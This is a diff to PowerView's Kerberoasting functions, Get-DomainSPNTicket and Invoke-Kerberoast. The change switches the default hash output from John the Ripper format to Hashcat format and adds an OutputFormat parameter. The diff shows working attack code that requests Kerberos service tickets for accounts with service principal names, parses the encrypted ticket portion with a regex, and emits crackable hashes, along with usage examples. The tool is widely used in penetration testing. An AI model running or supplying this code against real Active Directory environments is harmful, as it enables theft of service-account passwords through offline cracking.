@@ -2587,7 +2587,7 @@ This function will either take one/more SPN strings, or one/more PowerView.User
2587
2587
(the output from Get-DomainUser) and will request a kerberos ticket for the given SPN
2588
2588
using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted
2589
2589
portion of the ticket is then extracted and output in either crackable John or Hashcat
2590
- format (deafult of John ).
2590
+ format (deafult of Hashcat ).
2591
2591
2592
2592
.PARAMETER SPN
2593
2593
@@ -2621,9 +2621,9 @@ Request kerberos service tickets for all SPNs passed on the pipeline.
2621
2621
2622
2622
.EXAMPLE
2623
2623
2624
- Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat
2624
+ Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat JTR
2625
2625
2626
- Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format.
2626
+ Request kerberos service tickets for all users with non-null SPNs and output in JTR format.
2627
2627
2628
2628
.INPUTS
2629
2629
@@ -2661,7 +2661,7 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
2661
2661
[ValidateSet('John', 'Hashcat')]
2662
2662
[Alias('Format')]
2663
2663
[String]
2664
- $OutputFormat = 'John ',
2664
+ $OutputFormat = 'Hashcat ',
2665
2665
2666
2666
[Management.Automation.PSCredential]
2667
2667
[Management.Automation.CredentialAttribute()]
@@ -2715,6 +2715,10 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
2715
2715
2716
2716
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
2717
2717
2718
+ $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
2719
+ $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
2720
+ $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
2721
+
2718
2722
# TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1)
2719
2723
# No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object
2720
2724
if($TicketHexStream -match 'a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)') {
@@ -2724,7 +2728,7 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
2724
2728
2725
2729
# Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object
2726
2730
if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') {
2727
- Write-Warning ' Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"'
2731
+ Write-Warning " Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"
2728
2732
$Hash = $null
2729
2733
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
2730
2734
} else {
@@ -2738,6 +2742,7 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
2738
2742
}
2739
2743
2740
2744
if($Hash) {
2745
+ # JTR jumbo output format - $krb5tgs$SPN/machine.testlab.local:63386d22d359fe...
2741
2746
if ($OutputFormat -match 'John') {
2742
2747
$HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
2743
2748
}
@@ -2749,17 +2754,14 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
2749
2754
$UserDomain = 'UNKNOWN'
2750
2755
}
2751
2756
2752
- # hashcat output format
2757
+ # hashcat output format - $krb5tgs$23$*user$realm$test/spn*$63386d22d359fe...
2753
2758
$HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
2754
2759
}
2755
2760
$Out | Add-Member Noteproperty 'Hash' $HashFormat
2756
2761
}
2757
2762
2758
- $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
2759
- $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
2760
- $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
2761
2763
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
2762
- Write-Output $Out
2764
+ $Out
2763
2765
}
2764
2766
}
2765
2767
}
@@ -2786,6 +2788,7 @@ Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-Domain
2786
2788
2787
2789
Uses Get-DomainUser to query for user accounts with non-null service principle
2788
2790
names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information.
2791
+ The ticket format can be specified with -OutputFormat <John/Hashcat>.
2789
2792
2790
2793
.PARAMETER Identity
2791
2794
@@ -2826,6 +2829,11 @@ Specifies the maximum amount of time the server spends searching. Default of 120
2826
2829
2827
2830
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
2828
2831
2832
+ .PARAMETER OutputFormat
2833
+
2834
+ Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
2835
+ Defaults to 'Hashcat'.
2836
+
2829
2837
.PARAMETER Credential
2830
2838
2831
2839
A [Management.Automation.PSCredential] object of alternate credentials
@@ -2835,14 +2843,14 @@ for connection to the target domain.
2835
2843
2836
2844
Invoke-Kerberoast | fl
2837
2845
2838
- Kerberoasts all found SPNs for the current domain.
2846
+ Kerberoasts all found SPNs for the current domain, outputting to Hashcat format (default) .
2839
2847
2840
2848
.EXAMPLE
2841
2849
2842
2850
Invoke-Kerberoast -Domain dev.testlab.local | fl
2843
2851
2844
- Kerberoasts all found SPNs for the testlab.local domain, outputting to HashCat
2845
- format instead of John (the default) .
2852
+ Kerberoasts all found SPNs for the testlab.local domain, outputting to JTR
2853
+ format instead of Hashcat .
2846
2854
2847
2855
.EXAMPLE
2848
2856
@@ -2902,6 +2910,11 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
2902
2910
[Switch]
2903
2911
$Tombstone,
2904
2912
2913
+ [ValidateSet('John', 'Hashcat')]
2914
+ [Alias('Format')]
2915
+ [String]
2916
+ $OutputFormat = 'Hashcat',
2917
+
2905
2918
[Management.Automation.PSCredential]
2906
2919
[Management.Automation.CredentialAttribute()]
2907
2920
$Credential = [Management.Automation.PSCredential]::Empty
@@ -2929,7 +2942,7 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
2929
2942
2930
2943
PROCESS {
2931
2944
if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity }
2932
- Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket
2945
+ Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -OutputFormat $OutputFormat
2933
2946
}
2934
2947
2935
2948
END {
0 commit comments